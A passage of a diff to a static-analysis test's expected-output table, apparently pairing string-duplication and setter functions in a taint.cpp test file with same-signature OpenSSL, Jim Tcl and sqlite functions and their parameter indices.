(OSSL_HTTP_REQ_CTX *,size_t) | | OSSL_HTTP_REQ_CTX_set_max_response_hdr_lines | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_HTTP_REQ_CTX *,unsigned long) | | OSSL_HTTP_REQ_CTX_set_max_response_length | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_LIB_CTX *,size_t) | | ossl_quic_lcidm_new | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_PARAM *,size_t) | | OSSL_PARAM_set_size_t | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_PARAM *,unsigned long) | | OSSL_PARAM_set_ulong | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_PQUEUE *,size_t) | | ossl_pqueue_remove | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_PROVIDER *,size_t) | | ossl_provider_set_operation_bit | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_QTX *,size_t) | | ossl_qtx_set_mdpl | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_add_unvalidated_credit | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_consume_unvalidated_credit | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_record_received_closing_bytes | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_frag_len | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_pipelines | 1 | +| taint.cpp:362:7:362:13 | strndup | (QTEST_FAULT *,size_t) | | qtest_fault_resize_datagram | 1 | +| taint.cpp:362:7:362:13 | strndup | (QTEST_FAULT *,size_t) | | qtest_fault_resize_handshake | 1 | +| taint.cpp:362:7:362:13 | strndup | (QTEST_FAULT *,size_t) | | qtest_fault_resize_message | 1 | +| taint.cpp:362:7:362:13 | strndup | (QTEST_FAULT *,size_t) | | qtest_fault_resize_plain_packet | 1 | +| taint.cpp:362:7:362:13 | strndup | (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_release_record | 1 | +| taint.cpp:362:7:362:13 | strndup | (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_resize_rbuf | 1 | +| taint.cpp:362:7:362:13 | strndup | (QUIC_RXFC *,size_t) | | ossl_quic_rxfc_set_max_window_size | 1 | +| taint.cpp:362:7:362:13 | strndup | (QUIC_SSTREAM *,size_t) | | ossl_quic_sstream_set_buffer_size | 1 | +| taint.cpp:362:7:362:13 | strndup | (QUIC_STREAM_MAP *,size_t) | | ossl_quic_stream_map_set_rr_stepping | 1 | +| taint.cpp:362:7:362:13 | strndup | (RAND_POOL *,size_t) | | ossl_rand_pool_add_begin | 1 | +| taint.cpp:362:7:362:13 | strndup | (SIPHASH *,size_t) | | SipHash_set_hash_size | 1 | +| taint.cpp:362:7:362:13 | strndup | (SSL *,size_t) | | SSL_set_block_padding | 1 | +| taint.cpp:362:7:362:13 | strndup | (SSL *,size_t) | | SSL_set_default_read_buffer_len | 1 | +| taint.cpp:362:7:362:13 | strndup | (SSL *,size_t) | | SSL_set_num_tickets | 1 | +| taint.cpp:362:7:362:13 | strndup | (SSL *,size_t) | | create_a_psk | 1 | +| taint.cpp:362:7:362:13 | strndup | (SSL *,unsigned long) | | SSL_dane_clear_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (SSL *,unsigned long) | | SSL_dane_set_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 1 | +| taint.cpp:362:7:362:13 | strndup | (SSL_CTX *,size_t) | | SSL_CTX_set_block_padding | 1 | +| taint.cpp:362:7:362:13 | strndup | (SSL_CTX *,size_t) | | SSL_CTX_set_default_read_buffer_len | 1 | +| taint.cpp:362:7:362:13 | strndup | (SSL_CTX *,size_t) | | SSL_CTX_set_num_tickets | 1 | +| taint.cpp:362:7:362:13 | strndup | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_clear_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_set_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (WPACKET *,size_t) | | WPACKET_init_null | 1 | +| taint.cpp:362:7:362:13 | strndup | (WPACKET *,size_t) | | WPACKET_set_max_size | 1 | +| taint.cpp:362:7:362:13 | strndup | (WPACKET *,size_t) | | WPACKET_start_sub_packet_len__ | 1 | +| taint.cpp:362:7:362:13 | strndup | (WPACKET *,size_t) | | ossl_quic_wire_encode_padding | 1 | +| taint.cpp:362:7:362:13 | strndup | (X509_STORE *,unsigned long) | | X509_STORE_set_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (X509_STORE_CTX *,unsigned long) | | X509_STORE_CTX_set_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_clear_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_set_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (char *,size_t) | | RAND_file_name | 1 | +| taint.cpp:362:7:362:13 | strndup | (const BIGNUM *,unsigned long) | | BN_mod_word | 1 | +| taint.cpp:362:7:362:13 | strndup | (const char *,size_t) | | OPENSSL_strnlen | 0 | +| taint.cpp:362:7:362:13 | strndup | (const char *,size_t) | | OPENSSL_strnlen | 1 | +| taint.cpp:362:7:362:13 | strndup | (const uint8_t *,size_t) | | FuzzerTestOneInput | 1 | +| taint.cpp:362:7:362:13 | strndup | (const uint8_t *,size_t) | | ossl_ed448_pubkey_verify | 1 | +| taint.cpp:362:7:362:13 | strndup | (int,size_t) | | ossl_calculate_comp_expansion | 1 | +| taint.cpp:362:7:362:13 | strndup | (uint8_t *,size_t) | | ossl_fnv1a_hash | 1 | +| taint.cpp:362:7:362:13 | strndup | (void *,size_t) | | JimDefaultAllocator | 1 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | BIO_gethostbyname | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | Jim_StrDup | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | OPENSSL_LH_strhash | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | Strsafe | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | Symbol_new | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | UI_create_method | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | X509V3_parse_list | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | X509_LOOKUP_meth_new | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | a2i_IPADDRESS | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | a2i_IPADDRESS_NC | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | new_pkcs12_builder | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | opt_path_end | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | opt_progname | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | ossl_lh_strcasehash | 0 | +| taint.cpp:364:7:364:13 | strdupa | (const char *) | | strhash | 0 | +| taint.cpp:365:7:365:14 | strndupa | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_nm_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_oid_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_str_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (BIGNUM *,unsigned long) | | BN_add_word | 1 | +| taint.cpp:365:7:365:14 | strndupa | (BIGNUM *,unsigned long) | | BN_div_word | 1 | +| taint.cpp:365:7:365:14 | strndupa | (BIGNUM *,unsigned long) | | BN_set_word | 1 | +| taint.cpp:365:7:365:14 | strndupa | (BIGNUM *,unsigned long) | | BN_sub_word | 1 | +| taint.cpp:365:7:365:14 | strndupa | (BN_BLINDING *,unsigned long) | | BN_BLINDING_set_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (BUF_MEM *,size_t) | | BUF_MEM_grow | 1 | +| taint.cpp:365:7:365:14 | strndupa | (BUF_MEM *,size_t) | | BUF_MEM_grow_clean | 1 | +| taint.cpp:365:7:365:14 | strndupa | (CONF_IMODULE *,unsigned long) | | CONF_imodule_set_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (EVP_CIPHER *,unsigned long) | | EVP_CIPHER_meth_set_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (EVP_MD *,unsigned long) | | EVP_MD_meth_set_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (HMAC_CTX *,unsigned long) | | HMAC_CTX_set_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OPENSSL_INIT_SETTINGS *,unsigned long) | | OPENSSL_INIT_set_config_file_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OPENSSL_LHASH *,unsigned long) | | OPENSSL_LH_set_down_load | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_HPKE_SUITE,size_t) | | OSSL_HPKE_get_ciphertext_size | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_HTTP_REQ_CTX *,size_t) | | OSSL_HTTP_REQ_CTX_set_max_response_hdr_lines | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_HTTP_REQ_CTX *,unsigned long) | | OSSL_HTTP_REQ_CTX_set_max_response_length | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_LIB_CTX *,size_t) | | ossl_quic_lcidm_new | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_PARAM *,size_t) | | OSSL_PARAM_set_size_t | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_PARAM *,unsigned long) | | OSSL_PARAM_set_ulong | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_PQUEUE *,size_t) | | ossl_pqueue_remove | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_PROVIDER *,size_t) | | ossl_provider_set_operation_bit | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_QTX *,size_t) | | ossl_qtx_set_mdpl | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_add_unvalidated_credit | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_consume_unvalidated_credit | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_record_received_closing_bytes | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_frag_len | 1 | +| taint.cpp:365:7:365:14 | strndupa | (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_pipelines | 1 | +| taint.cpp:365:7:365:14 | strndupa | (QTEST_FAULT *,size_t) | | qtest_fault_resize_datagram | 1 | +| taint.cpp:365:7:365:14 | strndupa | (QTEST_FAULT *,size_t) | | qtest_fault_resize_handshake | 1 | +| taint.cpp:365:7:365:14 | strndupa | (QTEST_FAULT *,size_t) | | qtest_fault_resize_message | 1 | +| taint.cpp:365:7:365:14 | strndupa | (QTEST_FAULT *,size_t) | | qtest_fault_resize_plain_packet | 1 | +| taint.cpp:365:7:365:14 | strndupa | (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_release_record | 1 | +| taint.cpp:365:7:365:14 | strndupa | (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_resize_rbuf | 1 | +| taint.cpp:365:7:365:14 | strndupa | (QUIC_RXFC *,size_t) | | ossl_quic_rxfc_set_max_window_size | 1 | +| taint.cpp:365:7:365:14 | strndupa | (QUIC_SSTREAM *,size_t) | | ossl_quic_sstream_set_buffer_size | 1 | +| taint.cpp:365:7:365:14 | strndupa | (QUIC_STREAM_MAP *,size_t) | | ossl_quic_stream_map_set_rr_stepping | 1 | +| taint.cpp:365:7:365:14 | strndupa | (RAND_POOL *,size_t) | | ossl_rand_pool_add_begin | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SIPHASH *,size_t) | | SipHash_set_hash_size | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SSL *,size_t) | | SSL_set_block_padding | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SSL *,size_t) | | SSL_set_default_read_buffer_len | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SSL *,size_t) | | SSL_set_num_tickets | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SSL *,size_t) | | create_a_psk | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SSL *,unsigned long) | | SSL_dane_clear_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SSL *,unsigned long) | | SSL_dane_set_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SSL_CTX *,size_t) | | SSL_CTX_set_block_padding | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SSL_CTX *,size_t) | | SSL_CTX_set_default_read_buffer_len | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SSL_CTX *,size_t) | | SSL_CTX_set_num_tickets | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_clear_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_set_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (WPACKET *,size_t) | | WPACKET_init_null | 1 | +| taint.cpp:365:7:365:14 | strndupa | (WPACKET *,size_t) | | WPACKET_set_max_size | 1 | +| taint.cpp:365:7:365:14 | strndupa | (WPACKET *,size_t) | | WPACKET_start_sub_packet_len__ | 1 | +| taint.cpp:365:7:365:14 | strndupa | (WPACKET *,size_t) | | ossl_quic_wire_encode_padding | 1 | +| taint.cpp:365:7:365:14 | strndupa | (X509_STORE *,unsigned long) | | X509_STORE_set_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (X509_STORE_CTX *,unsigned long) | | X509_STORE_CTX_set_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_clear_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_set_flags | 1 | +| taint.cpp:365:7:365:14 | strndupa | (char *,size_t) | | RAND_file_name | 1 | +| taint.cpp:365:7:365:14 | strndupa | (const BIGNUM *,unsigned long) | | BN_mod_word | 1 | +| taint.cpp:365:7:365:14 | strndupa | (const char *,size_t) | | OPENSSL_strnlen | 0 | +| taint.cpp:365:7:365:14 | strndupa | (const char *,size_t) | | OPENSSL_strnlen | 1 | +| taint.cpp:365:7:365:14 | strndupa | (const uint8_t *,size_t) | | FuzzerTestOneInput | 1 | +| taint.cpp:365:7:365:14 | strndupa | (const uint8_t *,size_t) | | ossl_ed448_pubkey_verify | 1 | +| taint.cpp:365:7:365:14 | strndupa | (int,size_t) | | ossl_calculate_comp_expansion | 1 | +| taint.cpp:365:7:365:14 | strndupa | (uint8_t *,size_t) | | ossl_fnv1a_hash | 1 | +| taint.cpp:365:7:365:14 | strndupa | (void *,size_t) | | JimDefaultAllocator | 1 | +| taint.cpp:367:6:367:16 | test_strdup | (char *) | | SRP_VBASE_new | 0 | +| taint.cpp:367:6:367:16 | test_strdup | (char *) | | defossilize | 0 | +| taint.cpp:367:6:367:16 | test_strdup | (char *) | | make_uppercase | 0 | +| taint.cpp:367:6:367:16 | test_strdup | (char *) | | next_item | 0 | | taint.cpp:367:6:367:16 | test_strdup | (char *) | CStringT | CStringT | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | ASN1_STRING_type_new | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | ASN1_tag2bit | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | ASN1_tag2str | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | EVP_PKEY_asn1_get0 | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | Jim_ReturnCode | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | Jim_SignalId | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | OBJ_nid2ln | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | OBJ_nid2obj | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | OBJ_nid2sn | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | OSSL_STORE_INFO_type_string | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | OSSL_trace_get_category_name | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | PKCS12_init | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | Symbol_Nth | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | X509_PURPOSE_get0 | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | X509_PURPOSE_get_by_id | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | X509_TRUST_get0 | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | X509_TRUST_get_by_id | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | evp_pkey_type2name | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | ossl_cmp_bodytype_to_string | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | ossl_tolower | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | ossl_toupper | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | pulldown_test_framework | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | sqlite3_compileoption_get | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | sqlite3_errstr | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | tls1_alert_code | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | tls13_alert_code | 0 | +| taint.cpp:379:6:379:17 | test_strndup | (int) | | wait_until_sock_readable | 0 | | taint.cpp:387:6:387:16 | test_wcsdup | (wchar_t *) | CStringT | CStringT | 0 | +| taint.cpp:397:6:397:17 | test_strdupa | (char *) | | SRP_VBASE_new | 0 | +| taint.cpp:397:6:397:17 | test_strdupa | (char *) | | defossilize | 0 | +| taint.cpp:397:6:397:17 | test_strdupa | (char *) | | make_uppercase | 0 | +| taint.cpp:397:6:397:17 | test_strdupa | (char *) | | next_item | 0 | | taint.cpp:397:6:397:17 | test_strdupa | (char *) | CStringT | CStringT | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | ASN1_STRING_type_new | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | ASN1_tag2bit | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | ASN1_tag2str | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | EVP_PKEY_asn1_get0 | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | Jim_ReturnCode | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | Jim_SignalId | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | OBJ_nid2ln | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | OBJ_nid2obj | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | OBJ_nid2sn | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | OSSL_STORE_INFO_type_string | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | OSSL_trace_get_category_name | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | PKCS12_init | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | Symbol_Nth | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | X509_PURPOSE_get0 | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | X509_PURPOSE_get_by_id | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | X509_TRUST_get0 | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | X509_TRUST_get_by_id | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | evp_pkey_type2name | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | ossl_cmp_bodytype_to_string | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | ossl_tolower | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | ossl_toupper | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | pulldown_test_framework | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | sqlite3_compileoption_get | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | sqlite3_errstr | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | tls1_alert_code | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | tls13_alert_code | 0 | +| taint.cpp:409:6:409:18 | test_strndupa | (int) | | wait_until_sock_readable | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | ASN1_STRING_type_new | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | ASN1_tag2bit | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | ASN1_tag2str | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | EVP_PKEY_asn1_get0 | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | Jim_ReturnCode | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | Jim_SignalId | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | OBJ_nid2ln | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | OBJ_nid2obj | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | OBJ_nid2sn | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | OSSL_STORE_INFO_type_string | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | OSSL_trace_get_category_name | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | PKCS12_init | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | Symbol_Nth | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | X509_PURPOSE_get0 | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | X509_PURPOSE_get_by_id | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | X509_TRUST_get0 | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | X509_TRUST_get_by_id | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | evp_pkey_type2name | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | ossl_cmp_bodytype_to_string | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | ossl_tolower | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | ossl_toupper | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | pulldown_test_framework | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | sqlite3_compileoption_get | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | sqlite3_errstr | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | tls1_alert_code | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | tls13_alert_code | 0 | +| taint.cpp:421:2:421:9 | MyClass2 | (int) | | wait_until_sock_readable | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | ASN1_STRING_type_new | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | ASN1_tag2bit | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | ASN1_tag2str | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | EVP_PKEY_asn1_get0 | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | Jim_ReturnCode | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | Jim_SignalId | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | OBJ_nid2ln | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | OBJ_nid2obj | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | OBJ_nid2sn | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | OSSL_STORE_INFO_type_string | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | OSSL_trace_get_category_name | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | PKCS12_init | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | Symbol_Nth | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | X509_PURPOSE_get0 | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | X509_PURPOSE_get_by_id | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | X509_TRUST_get0 | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | X509_TRUST_get_by_id | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | evp_pkey_type2name | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | ossl_cmp_bodytype_to_string | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | ossl_tolower | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | ossl_toupper | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | pulldown_test_framework | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | sqlite3_compileoption_get | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | sqlite3_errstr | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | tls1_alert_code | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | tls13_alert_code | 0 | +| taint.cpp:422:7:422:15 | setMember | (int) | | wait_until_sock_readable | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | BIO_gethostbyname | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | Jim_StrDup | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | OPENSSL_LH_strhash | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | Strsafe | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | Symbol_new | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | UI_create_method | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | X509V3_parse_list | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | X509_LOOKUP_meth_new | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | a2i_IPADDRESS | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | a2i_IPADDRESS_NC | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | new_pkcs12_builder | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | opt_path_end | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | opt_progname | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | ossl_lh_strcasehash | 0 | +| taint.cpp:430:2:430:9 | MyClass3 | (const char *) | | strhash | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | BIO_gethostbyname | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | Jim_StrDup | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | OPENSSL_LH_strhash | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | Strsafe | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | Symbol_new | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | UI_create_method | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | X509V3_parse_list | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | X509_LOOKUP_meth_new | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | a2i_IPADDRESS | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | a2i_IPADDRESS_NC | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | new_pkcs12_builder | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | opt_path_end | 0 | +| taint.cpp:431:7:431:15 | setString | (const char *) | | opt_progname 